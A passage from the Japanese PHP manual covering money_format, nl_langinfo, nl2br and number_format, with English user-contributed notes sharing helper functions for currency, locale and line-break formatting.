                    $suffix = $signal;
                    break;
                case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
                    $cprefix = $signal;
                    break;
                case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
                    $csuffix = $signal;
                    break;
                case $flags['usesignal'] == '(':
                case $locale["{$letter}_sign_posn"] == 0:
                    $prefix = '(';
                    $suffix = ')';
                    break;
            }
            if (!$flags['nosimbol']) {
                $currency = $cprefix .
                        ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
                        $csuffix;
            } else {
                $currency = $cprefix .$csuffix;
            }
            $space = $locale["{$letter}_sep_by_space"] ? ' ' : '';

            $value = number_format($value, $right, $locale['mon_decimal_point'], $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
            $value = @explode($locale['mon_decimal_point'], $value);

            $n = strlen($prefix) + strlen($currency) + strlen($value[0]);
            if ($left > 0 && $left > $n) {
                $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
            }
            $value = implode($locale['mon_decimal_point'], $value);
            if ($locale["{$letter}_cs_precedes"]) {
                $value = $prefix . $currency . $space . $value . $suffix;
            } else {
                $value = $prefix . $value . $space . $currency . $suffix;
            }
            if ($width > 0) {
                $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
                                STR_PAD_RIGHT : STR_PAD_LEFT);
            }

            $format = str_replace($fmatch[0], $value, $format);
        }
        return $format;
    }
tim 19-Feb-2015 10:21
For most of us in the US, we don't want to see a "USD" for our currency symbol, so '%i' doesn't cut it.  Here's what I used that worked to get what most  people expect to see for a number format.

$number = 123.4
setlocale(LC_MONETARY, 'en_US.UTF-8');
money_format('%.2n', $number);

output:
$123.40

That gives me a dollar sign at the beginning, and 2 digits at the end.
kaigillmann at googlemail dot com 12-Jun-2014 07:24
If you get "EUR" instead of the euro symbol, set the locale to utf8 charset like this:

<?php
setlocale(LC_MONETARY, 'de_DE.utf8');
echo money_format('%+n', 1234.56);
?>
todoventas at xarxa-cat dot net 09-Jan-2014 03:27
In Rafael M. Salvioni function localeconv(); returns an invalid array in my Windows XP SP3 running PHP 5.4.13 so to prevent the Warning Message: implode(): Invalid arguments passed i just add the $locale manually. For other languages just fill the array with the correct settings.

<?

       $locale = array(
        'decimal_point'        => '.',
        'thousands_sep'        => '',
        'int_curr_symbol'    => 'EUR',
        'currency_symbol'    => '?',
        'mon_decimal_point'    => ',',
        'mon_thousands_sep'    => '.',
        'positive_sign'        => '',
        'negative_sign'     => '-',
        'int_frac_digits'    => 2,
        'frac_digits'        => 2,
        'p_cs_precedes'        => 0,
        'p_sep_by_space'    => 1,
        'p_sign_posn'        => 1,
        'n_sign_posn'        => 1,
        'grouping'            => array(),
        'mon_grouping'        => array(0 => 3, 1 => 3)

    );
?>
jsb17NO at SPAMcornell dot edu 02-Aug-2013 08:10
To drop zero value decimals, use the following:
<?php
    /*
        Same as php number_format(), but if ends in .0, .00, .000, etc... , drops the decimals altogether
        Returns string type, rounded number - same as php number_format()):
        Examples:
            number_format_drop_zero_decimals(54.378, 2) ==> '54.38'
            number_format_drop_zero_decimals(54.00, 2) ==> '54'
     */
    function number_format_drop_zero_decimals($n, $n_decimals)
    {
        return ((floor($n) == round($n, $n_decimals)) ? number_format($n) : number_format($n, $n_decimals));
    }
?>
Results:
number_format_drop_zero_decimals(54.377, 2) ==> 54.38
number_format_drop_zero_decimals('54.377', 2) ==> 54.38
number_format_drop_zero_decimals(54.377, 3) ==> 54.377
number_format_drop_zero_decimals(54.007, 2) ==> 54.01
number_format_drop_zero_decimals(54.000, 2) ==> 54
number_format_drop_zero_decimals(54.00, 2) ==> 54
number_format_drop_zero_decimals(54.0, 2) ==> 54
number_format_drop_zero_decimals(54.1, 2) ==> 54.10
number_format_drop_zero_decimals(54., 2) ==> 54
number_format_drop_zero_decimals(54, 2) ==> 54
number_format_drop_zero_decimals(54, 3) ==> 54
number_format_drop_zero_decimals(54 + .13, 2) ==> 54.13
number_format_drop_zero_decimals(54 + .00, 2) ==> 54
number_format_drop_zero_decimals(54.0007, 4) ==> 54.0007
number_format_drop_zero_decimals(54.0007, 3) ==> 54.001
number_format_drop_zero_decimals(54.00007, 3) ==> 54  //  take notice
~B 17-Aug-2012 04:58
We found that after switching from Ubuntu 10.04 php -v 5.3.2, to Ubuntu 12.04 php -v 5.3.10 this no longer worked:

<?php setlocale(LC_MONETARY, 'en_US'); ?>

Found that using:

<?php setlocale(LC_MONETARY, 'en_US.UTF-8'); ?>

worked find
phpdeveloperbalaji at gmail dot com 28-Sep-2011 01:04
Hi,

For South Asian Currencies, this function could be a handy one.

It will handle negative as well as float(Paise).

<?php
function my_money_format($number)
{
    if(strstr($number,"-"))
    {
        $number = str_replace("-","",$number);
        $negative = "-";
    }

    $split_number = @explode(".",$number);

    $rupee = $split_number[0];
    $paise = @$split_number[1];

    if(@strlen($rupee)>3)
    {
        $hundreds = substr($rupee,strlen($rupee)-3);
        $thousands_in_reverse = strrev(substr($rupee,0,strlen($rupee)-3));
        for($i=0; $i<(strlen($thousands_in_reverse)); $i=$i+2)
        {
            $thousands .= $thousands_in_reverse[$i].$thousands_in_reverse[$i+1].",";
        }
        $thousands = strrev(trim($thousands,","));
        $formatted_rupee = $thousands.",".$hundreds;

    }
    else
    {
        $formatted_rupee = $rupee;
    }

    if((int)$paise>0)
    {
        $formatted_paise = ".".substr($paise,0,2);
    }

    return $negative.$formatted_rupee.$formatted_paise;

}
?>

Thanks,
andrey.dobrozhanskiy [-a-t-] gmail com 07-Jul-2010 09:43
This function divides integer value by commas. F.e.

<?php
echo formatMoney(1050); # 1,050
echo formatMoney(1321435.4, true); # 1,321,435.40
echo formatMoney(10059240.42941, true); # 10,059,240.43
echo formatMoney(13245); # 13,245

function formatMoney($number, $fractional=false) {
    if ($fractional) {
        $number = sprintf('%.2f', $number);
    }
    while (true) {
        $replaced = preg_replace('/(-?\d+)(\d\d\d)/', '$1,$2', $number);
        if ($replaced != $number) {
            $number = $replaced;
        } else {
            break;
        }
    }
    return $number;
}
?>
Rafael M. Salvioni 19-Feb-2009 12:20
This is a some function posted before, however various bugs were corrected.

Thank you to Stuart Roe by reporting the bug on printing signals.

<?php
/*
That it is an implementation of the function money_format for the
platforms that do not it bear.

The function accepts to same string of format accepts for the
original function of the PHP.

(Sorry. my writing in English is very bad)

The function is tested using PHP 5.1.4 in Windows XP
and Apache WebServer.
*/
function money_format($format, $number)
{
    $regex  = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?'.
              '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
    if (setlocale(LC_MONETARY, 0) == 'C') {
        setlocale(LC_MONETARY, '');
    }
    $locale = localeconv();
    preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
    foreach ($matches as $fmatch) {
        $value = floatval($number);
        $flags = array(
            'fillchar'  => preg_match('/\=(.)/', $fmatch[1], $match) ?
                           $match[1] : ' ',
            'nogroup'   => preg_match('/\^/', $fmatch[1]) > 0,
            'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
                           $match[0] : '+',
            'nosimbol'  => preg_match('/\!/', $fmatch[1]) > 0,
            'isleft'    => preg_match('/\-/', $fmatch[1]) > 0
        );
        $width      = trim($fmatch[2]) ? (int)$fmatch[2] : 0;
        $left       = trim($fmatch[3]) ? (int)$fmatch[3] : 0;
        $right      = trim($fmatch[4]) ? (int)$fmatch[4] : $locale['int_frac_digits'];
        $conversion = $fmatch[5];

        $positive = true;
        if ($value < 0) {
            $positive = false;
            $value  *= -1;
        }
        $letter = $positive ? 'p' : 'n';

        $prefix = $suffix = $cprefix = $csuffix = $signal = '';

        $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
        switch (true) {
            case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
                $prefix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
                $suffix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
                $cprefix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
                $csuffix = $signal;
                break;
            case $flags['usesignal'] == '(':
            case $locale["{$letter}_sign_posn"] == 0:
                $prefix = '(';
                $suffix = ')';
                break;
        }
        if (!$flags['nosimbol']) {
            $currency = $cprefix .
                        ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
                        $csuffix;
        } else {
            $currency = '';
        }
        $space  = $locale["{$letter}_sep_by_space"] ? ' ' : '';

        $value = number_format($value, $right, $locale['mon_decimal_point'],
                 $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
        $value = @explode($locale['mon_decimal_point'], $value);

        $n = strlen($prefix) + strlen($currency) + strlen($value[0]);
        if ($left > 0 && $left > $n) {
            $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
        }
        $value = implode($locale['mon_decimal_point'], $value);
        if ($locale["{$letter}_cs_precedes"]) {
            $value = $prefix . $currency . $space . $value . $suffix;
        } else {
            $value = $prefix . $value . $space . $currency . $suffix;
        }
        if ($width > 0) {
            $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
                     STR_PAD_RIGHT : STR_PAD_LEFT);
        }

        $format = str_replace($fmatch[0], $value, $format);
    }
    return $format;
}

?>
jeremy 30-Sep-2008 10:41
If money_format doesn't seem to be working properly, make sure you are defining a valid locale.  For example, on Debian, 'en_US' is not a valid locale - you need 'en_US.UTF-8' or 'en_US.ISO-8559-1'.

This was frustrating me for a while.  Debian has a list of valid locales at /usr/share/i18n/SUPPORTED; find yours there if it's not working properly.
swapnet 22-Jul-2008 08:24
Consider formatting currency for some South Asian countries that use ##,##,###.## money format.
The following code generates something like Rs. 4,54,234.00 and so on.

<?php
function convertcash($num, $currency){
    if(strlen($num)>3){
            $lastthree = substr($num, strlen($num)-3, strlen($num));
            $restunits = substr($num, 0, strlen($num)-3); // extracts the last three digits
            $restunits = (strlen($restunits)%2 == 1)?"0".$restunits:$restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.

            $expunit = str_split($restunits, 2);
            for($i=0; $i<sizeof($expunit); $i++){
                $explrestunits .= (int)$expunit[$i].","; // creates each of the 2's group and adds a comma to the end
            }

            $thecash = $explrestunits.$lastthree;
    } else {
           $thecash = $convertnum;
    }

    return $currency.$thecash.".00"; // writes the final format where $currency is the currency symbol.
}
?>

now call the function as  convertcash($row['price'], 'Rs '); // that's the price from the database I called using an Indian Rupees prefix where the price has to be a plain number format, say something like 454234.
scot from ezyauctionz.co.nz 06-Oct-2007 03:10
This is a handy little bit of code I just wrote, as I was not able to find anything else suitable for my situation.
This will handle monetary values that are passed to the script by a user, to reformat any comma use so that it is not broken when it passes through an input validation system that checks for a float.

It is not foolproof, but will handle the common input as most users would input it, such as 1,234,567 (outputs 1234567) or 1,234.00 (outputs 1234.00), even handles 12,34 (outputs 12.34), I expect it would work with negative numbers, but have not tested it, as it is not used for that in my situation.

This worked when other options such as money_format() were not suitable or possible.

<?php
///////////////
// BEGIN CODE convert all price amounts into well formatted values
function converttonum($convertnum,$fieldinput){
        $bits = explode(",",$convertnum); // split input value up to allow checking

        $first = strlen($bits[0]); // gets part before first comma (thousands/millions)
        $last = strlen($bits[1]); // gets part after first comma (thousands (or decimals if incorrectly used by user)

        if ($last <3){ // checks for comma being used as decimal place
            $convertnum = str_replace(",",".",$convertnum);
        }
        else{ // assume comma is a thousands seperator, so remove it
            $convertnum = str_replace(",","",$convertnum);
        }

        $_POST[$fieldinput] = $convertnum; // redefine the vlaue of the variable, to be the new corrected one
}

@converttonum($_POST[inputone],"inputone");
@converttonum($_POST[inputtwo],"inputtwo");
@converttonum($_POST[inputthree],"inputthree");
// END CODE
//////////////

?>

This is suitable for the English usage, it may need tweaking to work with other types.
richard dot selby at uk dot clara dot net 17-Feb-2006 07:02
Double check that money_format() is defined on any version of PHP you plan your code to run on.  You might be surprised.

For example, it worked on my Linux box where I code, but not on  servers running  BSD 4.11 variants. (This is presumably because strfmon  is not defined - see note at the top of teis page). It's not just a windows/unix issue.


言語およびロケール情報を検索する

  • ≪ money_format
  • nl2br ≫
  • PHP Manual
  • String 関数
  • 言語およびロケール情報を検索する

nl_langinfo

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

nl_langinfo — 言語およびロケール情報を検索する

説明

nl_langinfo ( int $item ) : string|false

nl_langinfo() はロケールカテゴリの独立した要素にアクセスするために使用されます。 localeconv() と異なり、全ての要素を返します。 nl_langinfo() はいかなる特定要素も取得可能です。

パラメータ

item

item は要素の整数値、もしくは要素の定数名です。 以下は、使用される item に対する定数名と説明の一覧です。 これらの定数のいくつかは特定のロケールに対して未定義、 もしくは値がありません。

nl_langinfo 定数
定数 | 説明
LC_TIME カテゴリの定数
ABDAY_(1-7) | 一週間中の n 番目の曜日名の略式表記
DAY_(1-7) | 一週間中の n 番目の曜日名 (DAY_1 = 日曜日)
ABMON_(1-12) | n 番目の月の名前の略式表記
MON_(1-12) | n 番目の月の名前
AM_STR | 午前を表す文字列
PM_STR | 午後を表す文字列
D_T_FMT | strftime() で日時を表すためのフォーマット文字列として使用することが可能な文字列
D_FMT | strftime() で日付を表すためのフォーマット文字列として使用することが可能な文字列
T_FMT | strftime() で時刻を表すためのフォーマット文字列として使用することが可能な文字列
T_FMT_AMPM | strftime() でAM/PM付き 12 時間表記を表すためのフォーマット文字列として使用することが可能な文字列
ERA | ロケール固有の元号付きフォーマット
ERA_YEAR | ロケール固有の元号付きフォーマットでの年
ERA_D_T_FMT | ロケール固有の元号付きフォーマットでの日時 (strftime() で使用可能な文字列)
ERA_D_FMT | ロケール固有の元号付きフォーマットでの日付 (strftime() で使用可能な文字列)
ERA_T_FMT | ロケール固有の元号付きフォーマットでの時刻 (strftime() で使用可能な文字列)
LC_MONETARY カテゴリの定数
INT_CURR_SYMBOL | 国際通貨記号
CURRENCY_SYMBOL | 地域通貨記号
CRNCYSTR | CURRENCY_SYMBOL と同じ値
MON_DECIMAL_POINT | 小数点文字
MON_THOUSANDS_SEP | 1000 単位桁区切り (3 桁ごとのグループ化) の区切り文字
MON_GROUPING | 'grouping' と同じ
POSITIVE_SIGN | 正値の表示に使用される記号
NEGATIVE_SIGN | 負値の表示に使用される記号
INT_FRAC_DIGITS | 国際的な方法で表現する際の小数点以下の桁数
FRAC_DIGITS | 地域的な方法で表現する際の小数点以下の桁数
P_CS_PRECEDES | CURRENCY_SYMBOL の前に正値がある場合 1 を返す
P_SEP_BY_SPACE | CURRENCY_SYMBOL と正値がスペースで区切られる場合 1 を返す
N_CS_PRECEDES | CURRENCY_SYMBOL の前に負値がある場合 1 を返す
N_SEP_BY_SPACE | CURRENCY_SYMBOL と負値がスペースで区切られる場合 1 を返す
P_SIGN_POSN
  • 量および CURRENCY_SYMBOL を括弧で括る場合、0 を返す
  • 量および CURRENCY_SYMBOL の前に符号文字列を置く場合、1 を返す
  • 量および CURRENCY_SYMBOL の後に符号文字列を置く場合、2 を返す
  • CURRENCY_SYMBOL の直前に符号文字列を置く場合、3 を返す
  • CURRENCY_SYMBOL の直後に符号文字列を置く場合、4 を返す
N_SIGN_POSN
LC_NUMERIC カテゴリの定数
DECIMAL_POINT | 小数点文字
RADIXCHAR | DECIMAL_POINT と同じ値
THOUSANDS_SEP | 1000 単位桁区切り (3 桁ごとのグループ化) の区切り文字
THOUSEP | THOUSANDS_SEP と同じ値
GROUPING
LC_MESSAGES カテゴリの定数
YESEXPR | "はい" の入力にマッチさせるための正規表現
NOEXPR | "いいえ" の入力にマッチさせるための正規表現
YESSTR | "はい" のための出力文字列
NOSTR | "いいえ" のための出力文字列
LC_CTYPE カテゴリの定数
CODESET | 文字エンコーディング名の文字列を返す

返り値

要素を文字列で返します。item が有効でない場合は false を返します。

注意

注意: この関数は Windows 環境にはまだ実装されていません。

参考

  • setlocale() - ロケール情報を設定する
  • localeconv() - 数値に関するフォーマット情報を得る

User Contributed Notes

mark at moderndeveloper dot com 15-Nov-2013 03:23
If you are looking for the stand-alone (nominative form) of a month, you may not be able to use nl_langinfo(), but with PHP 5.5 you can use something like:

<?php
echo IntlDateFormatter::formatObject(
         new DateTime('2013-01-01 00:00:00 Europe/Moscow'),
         'LLLL',
         'ru_RU');
?>

Note that the format uses the ICU patterns, not the PHP date() patterns.
avatar_at_hot_ee 11-Mar-2006 07:58
The value MON_(1-12) has special behavior in Russian locale: it returns declinated month names, that can be used as part of a date string, but not on their own.

For instance instead of "Январь" (the proper nominative form) it returns "Января" (form declinated for use in dates).

There seems to be no way to get the nominative form of the month name - one has to use translations instead.


改行文字の前に HTML の改行タグを挿入する

  • ≪ nl_langinfo
  • number_format ≫
  • PHP Manual
  • String 関数
  • 改行文字の前に HTML の改行タグを挿入する

nl2br

(PHP 4, PHP 5, PHP 7, PHP 8)

nl2br — 改行文字の前に HTML の改行タグを挿入する

説明

nl2br ( string $string , bool $use_xhtml = true ) : string

string に含まれるすべての改行文字 (\r\n、 \n\r、\n および \r) の前に <br /> あるいは <br> を挿入して返します。

パラメータ

string

入力文字列。

use_xhtml

XHTML 準拠の改行を使うか否か。

返り値

変更後の文字列を返します。

例

例1 nl2br() の使用法

<?php
echo nl2br("foo isn't\n bar");
?>

上の例の出力は以下となります。

foo isn't<br />
 bar

例2 use_xhtml パラメータを使い、妥当な HTML 形式のマークアップを生成する

<?php
echo nl2br("Welcome\r\nThis is my HTML document", false);
?>

上の例の出力は以下となります。

Welcome<br>
This is my HTML document

例3 さまざまな改行文字

<?php
$string = "This\r\nis\n\ra\nstring\r";
echo nl2br($string);
?>

上の例の出力は以下となります。

This<br />
is<br />
a<br />
string<br />

参考

  • htmlspecialchars() - 特殊文字を HTML エンティティに変換する
  • htmlentities() - 適用可能な文字を全て HTML エンティティに変換する
  • wordwrap() - 指定した文字数で文字列を分割する
  • str_replace() - 検索文字列に一致したすべての文字列を置換する

User Contributed Notes

gautier dot michelin at gmail dot com 29-Jun-2020 08:03
This is a simple trick to transform newlines to paragraph a $string :

<?php
$string_with_paragraphs = "<p>".implode("</p><p>", explode("\n", $string))."</p>";
?>

By exploding on new lines & adding end & begin for p, it's easy to concat with <p>.

You can bring it to a function :

<?php
function nl2p($string) {
    return $string_with_paragraphs = "<p>".implode("</p><p>", explode("\n", $string))."</p>";
}
?>
Collette 02-Jan-2020 11:57
Let's say a form text field does contain:
 test line number 1
 test line number 2

To remove all the line breaks and split the input into an array:

$input_from_text_field = preg_replace('#[\r\n]#','',nl2br($input_from_text_field,false));
$lines = explode("<br>",$input_from_text_field);

$lines will now be an array where $lines[0] = "test line number 1" and so on.
aabaev 16-Nov-2018 07:09
double quotes !== single quotes

php > echo nl2br('\r\n');
\r\n
php > echo nl2br("\r\n");
<br />
buzanits at gmail dot com 07-Nov-2017 03:39
If you write code that is to run in browser AND on the shell, this function could be useful. It uses PHP_EOL or <br /> depending on the platform it runs:

<?php
function nl($string) {
  if(isset($_SERVER['SHELL'])) return preg_replace('/\<br(\s*)?\/?\>/i', PHP_EOL, $string);
  return nl2br($string);
}

print nl("One\nTwo<br>Three\r\nFour<br />Five
Six" . PHP_EOL);
?>
chad at nobodyfamous dot ca 16-Aug-2017 01:07
I just spent a whole day trying to figure out why my textarea $_POST was not getting <br /> tags added by nl2br().  So for others

<?php filter_input(INPUT_POST, 'text', FILTER_SANITIZE_SPECIAL_CHARS); ?> returns newlines as  &#13; and &#10; so nl2br will miss them.

rather use <?php filter_input(INPUT_POST, 'text', FILTER_SANITIZE_STRING); ?> and newlines will remain intact so nl2br will pick them up.
Justinas M. 02-May-2016 07:02
This is example with "\R" regex token which matches any unicode newline character.
"u" flag treate strings as UTF-16. Which is optional, depending on your use case.

<?php

public function nl2br($string)
{
  return preg_replace('/\R/u', '<br/>', $string);
}

?>

NOTE:
preg_replace versions are much slower than using str_replace version or built-in nl2br.
Check out pcre.backtrack_limit php.ini setting for information about PCRE limit. It's good to know.

Some PHP7 benchmarks:
<?php

// nl2br()

function nl2br_str($string) {
  return str_replace(["\r\n", "\r", "\n"], '<br/>', $string);
}

function nl2br_preg_R($string)
{
  return preg_replace('/\R/u', '<br/>', $string);
}

function nl2br_preg_rnnr($string)
{
  return preg_replace('/(\r\n|\n|\r)/', '<br/>', $string);
}

?>

 # nl2br
 ## Time: 0.02895712852478 s

 # nl2br_str
 ## Time: 0.027923107147217 s

 # nl2br_preg_R
 ## Time: 0.13350105285645 s

 # nl2br_preg_rnnr
 ## Time: 0.14213299751282 s
leo dot mauro dot desenv at gmail dot com 17-Sep-2015 12:36
I test empirically this function nl2br and nl2br2 (create by ngkongs at gmail dot com).
Both work nice with different ASCII chars for linebreak, but the function nl2br2 is faster than nl2br.

nl2br2 ~ 0.0000309944153 s
nl2br  ~ 0.0011141300201 s

The function nl2br2:
<?php
function nl2br2($string) {
  $string = str_replace(array("\r\n", "\r", "\n"), "<br />", $string);
  return $string;
}
?>
fquffio at live dot it 10-Jun-2014 08:46
Starting from PHP 4.3.10 and PHP 5.0.2, this should be the most correct way to replace <br /> and <br> tags with newlines and carriage returns.
<?php
/**
 * Convert BR tags to newlines and carriage returns.
 *
 * @param string The string to convert
 * @return string The converted string
 */
function br2nl ( $string )
{
    return preg_replace('/\<br(\s*)?\/?\>/i', PHP_EOL, $string);
}
?>
(Please note this is a minor edit of this function: http://php.net/nl2br#86678 )

You might also want to be "platform specific", and therefore this function might be of some help:
<?php
/**
 * Convert BR tags to newlines and carriage returns.
 *
 * @param string The string to convert
 * @param string The string to use as line separator
 * @return string The converted string
 */
function br2nl ( $string, $separator = PHP_EOL )
{
    $separator = in_array($separator, array("\n", "\r", "\r\n", "\n\r", chr(30), chr(155), PHP_EOL)) ? $separator : PHP_EOL;  // Checks if provided $separator is valid.
    return preg_replace('/\<br(\s*)?\/?\>/i', $separator, $string);
}
?>
darenschwenke at yahoo dot com 28-Jan-2014 07:15
This one works with br tags having attributes, in any case,
closed or  not closed, and does not double linefeeds

<?php
 /**
 * convert br tags to nl
 *
 * @param string The string to convert
 * @return string The converted string
 */

function br2nl($string)
{
    return preg_replace("/<br[^>]*>\s*\r*\n*/is", "\n", $string);
}
?>

I combine this with strip_tags() for dead simple "contenteditable" fields allowing only text and linefeeds.
j dot mons54 at gmail dot com 29-May-2012 09:45
for bbcode :

<?php
$message =  nl2br(preg_replace('#(\\]{1})(\\s?)\\n#Usi', ']', stripslashes($message)));
?>
N/A 29-Oct-2008 07:41
Here's a more simple one:

<?php
/**
 * Convert BR tags to nl
 *
 * @param string The string to convert
 * @return string The converted string
 */
function br2nl($string)
{
    return preg_replace('/\<br(\s*)?\/?\>/i', "\n", $string);
}
?>

Enjoy
blacknine313 at gmail dot com 01-Apr-2008 06:34
After a recent post at the forums on Dev Shed, I noticed that it isn't mentioned, so I will mention it.

nl2br returns pure HTML, so it should be after PHP anti-HTML functions ( such as strip_tags and htmlspecialchars ).
hyponiq at gmail dot com 25-Aug-2007 11:03
On the contrary, <b>mark at dreamjunky.comno-spam</b>, this function is rightfully named.  Allow me to explain.  Although it does re-add the line break, it does so in an attempt to stay standards-compliant with the W3C recommendations for code format.

According to said recommendations, a new line character must follow a line break tag.  In this situation, the new line is not removed, but a break tag is added for proper browser display where a paragraph isn't necessary or wanted.
ngkongs at gmail dot com 23-Feb-2007 04:12
to replace all linebreaks to <br />
the best solution (IMO) is:

<?php
function nl2br2($string) {
$string = str_replace(array("\r\n", "\r", "\n"), "<br />", $string);
return $string;
}
?>

because each OS have different ASCII chars for linebreak:
windows = \r\n
unix = \n
mac = \r

works perfect for me
Anders Norrbring 09-Mar-2006 01:28
Seeing all these suggestions on a br2nl function, I can also see that neither would work with a sloppy written html line break.. Users can't be trusted to write good code, we know that, and mixing case isn't too uncommon.

I think this little snippet would do most tricks, both XHTML style and HTML, even mixed case like <Br> <bR /> and even <br            > or <br     />.

<?php
function br2nl($text)
{
    return  preg_replace('/<br\\s*?\/??>/i', '', $text);
}
?>
CGameProgrammer at gmail dot com 30-Jan-2005 05:28
It's important to remember that this function does NOT replace newlines with <br> tags. Rather, it inserts a <br> tag before each newline, but it still preserves the newlines themselves! This caused problems for me regarding a function I was writing -- I forgot the newlines were still being preserved.

If you don't want newlines, do:

<?php
$Result = str_replace( "\n", '<br />', $Text );
?>


数字を千の位毎にグループ化してフォーマットする

  • ≪ nl2br
  • ord ≫
  • PHP Manual
  • String 関数
  • 数字を千の位毎にグループ化してフォーマットする

number_format

(PHP 4, PHP 5, PHP 7, PHP 8)

number_format — 数字を千の位毎にグループ化してフォーマットする

説明

number_format ( float $num , int $decimals = 0 , string|null $decimal_separator = "." , string|null $thousands_separator = "," ) : string

数値を千の位毎にグループ化し、オプションで小数の桁も追加してフォーマットします。

パラメータ

num

フォーマットする数値。

decimals

小数点以下の桁数。 0 を指定すると、 返り値の decimal_separator は省略されます。

decimal_separator

小数点を表す区切り文字。

thousands_separator

千の位毎の区切り文字。

返り値

num をフォーマットした結果を返します。

変更履歴

バージョン | 説明
8.0.0 | これより前のバージョンでは、 number_format() 関数は 引数を1個、2個、または4個受け入れていました(つまり、3個はダメでした)。
7.2.0 | number_format() は、 -0 を返さないように変更されました。 これより前のバージョンでは、 num が -0.01 のようなケースで -0 が返される場合がありました。

例

例1 number_format() の例

例えばフランスの表記法では、通常カンマ (',') を小数の区切りとした二桁の小数と、千位毎の区切りとしてスペース (' ') を用います。数値を書式設定するさまざまな方法を次の例で示します。

<?php

$number = 1234.56;

// 英語での表記 (デフォルト)
$english_format_number = number_format($number);
// 1,235

// フランスの表記
$nombre_format_francais = number_format($number, 2, ',', ' ');
// 1 234,56

$number = 1234.5678;

// 千位毎の区切りがない英語での表記
$english_format_number = number_format($number, 2, '.', '');
// 1234.57

?>

参考

  • money_format() - 数値を金額文字列にフォーマットする
  • sprintf() - フォーマットされた文字列を返す
  • printf() - フォーマット済みの文字列を出力する
  • sscanf() - フォーマット文字列に基づき入力を処理する

User Contributed Notes

markagius at markagius co uk 30-Apr-2020 02:48
If you want a number of digits after the point, but not unnecessary zeros.
Eg.
number_format(1.20000,4) = 1.2000
num_format(1.20000,4,0) = 1.2

number_format(1.20000,4) = 1.2000
num_format(1.20000,4,2) = 1.20

number_format(1.23456,4) = 1.2345
num_format(1.23456,4,2) = 1.2345

function num_format($numVal,$afterPoint=2,$minAfterPoint=0,$thousandSep=",",$decPoint="."){
  // Same as number_format() but without unnecessary zeros.
  $ret = number_format($numVal,$afterPoint,$decPoint,$thousandSep);
  if($afterPoint!=$minAfterPoint){
    while(($afterPoint>$minAfterPoint) && (substr($ret,-1) =="0") ){
      // $minAfterPoint!=$minAfterPoint and number ends with a '0'
      // Remove '0' from end of string and set $afterPoint=$afterPoint-1
      $ret = substr($ret,0,-1);
      $afterPoint = $afterPoint-1;
    }
  }
  if(substr($ret,-1)==$decPoint) {$ret = substr($ret,0,-1);}
  return $ret;
}
festuc at festuc dot info 13-Apr-2020 08:42
<?php
//        by www.festuc.info
//        If you need trim unnecessary  right zeros  part of a string to decimal number,
//         for a human readable you can trim it with this little hack.
function number_format_rtrim($value,$maxdecimal=0,$decimalsing='.',$thousandsing=','){
    if (is_numeric($value)){
        $value=number_format($value,$maxdecimal,'.','');//to change input type to string
        $i=-1;
        if (strpos($value,'.'))while (substr($value,$i)==0){
            $i--;
            $maxdecimal--;
        }
        else $maxdecimal=0;
        return number_format($value,$maxdecimal,$decimalsing,$thousandsing);
    }
}
$decimalsing=','; //french mode
$thousandsing=' ';
$a = array (10000/3,10.15000,'58.0000',1.01000,'pastafarism','1001.00100',30.05,25/2,'0.2500','potato');
foreach ($a as $w){
    unset($o);
    $o=number_format_rtrim($w,5,$decimalsing,$thousandsing);
    if(isset($o))
        echo "$w: $o";
    else
        echo "$w is not a number";
    echo '<br/>';
}
?>
This is the output
3333.3333333333: 3 333,33333
10.15: 10,15
58.0000: 58
1.01: 1,01
pastafarism is not a number
1001.00100: 1 001,001
30.05: 30,05
12.5: 12,5
0.2500: 0,25
potato is not a number
divinity76 at gmail dot com 16-Jan-2020 10:29
if you want to benchmark all costs for 5 seconds:

<?php
set_time_limit(5);
for($cost=4;;++$cost){
        $start=microtime(true);
        password_hash("test", PASSWORD_BCRYPT, ["cost" => $cost]);
        $end=microtime(true);
        echo "cost {$cost}: ".(int)(($end-$start)*1000)."ms - ".number_format($end-$start,4)."s\n";
}
?>

on my laptop rolling "Intel Core i7-8565U CPU @ 1.80GHz"  it prints:

$ php foo.php
cost 4: 1ms - 0.0010s
cost 5: 2ms - 0.0022s
cost 6: 3ms - 0.0038s
cost 7: 6ms - 0.0069s
cost 8: 14ms - 0.0147s
cost 9: 25ms - 0.0254s
cost 10: 55ms - 0.0554s
cost 11: 103ms - 0.1040s
cost 12: 184ms - 0.1848s
cost 13: 367ms - 0.3676s
cost 14: 737ms - 0.7379s
cost 15: 1881ms - 1.8810s

(with ms meaning milliseconds and s meaning seconds)
mail at igor dot vodka 23-May-2019 11:56
Please be careful with stm555 at hotmail dot com's solution.
If you pass some little negative number (-1 < $number < 0) such as -0.01, the integer part would be converted to 0, so that the sign is eventually lost.
Here is a fixed version:

<?php
      function number_format_unlimited_precision($number,$decimal = '.')
      {
           $broken_number = explode('.', abs($number));
           $sign = $number < 0 ? '-' : '';
           return $sign.number_format($broken_number[0]).$decimal.$broken_number[1];
      }
?>
Lio 30-Nov-2017 01:43
Be carreful, when you're using French notation
means : number_format(124.25, 2 , ',' , ' ') with ',' as dec_point,

Don't forget to specify thousands_sep that default is ',' to another value, otherwise function will return null.
vlad at blox dot ru 05-Feb-2016 11:43
This function is used for reformatting already formatted numbers.
<?php
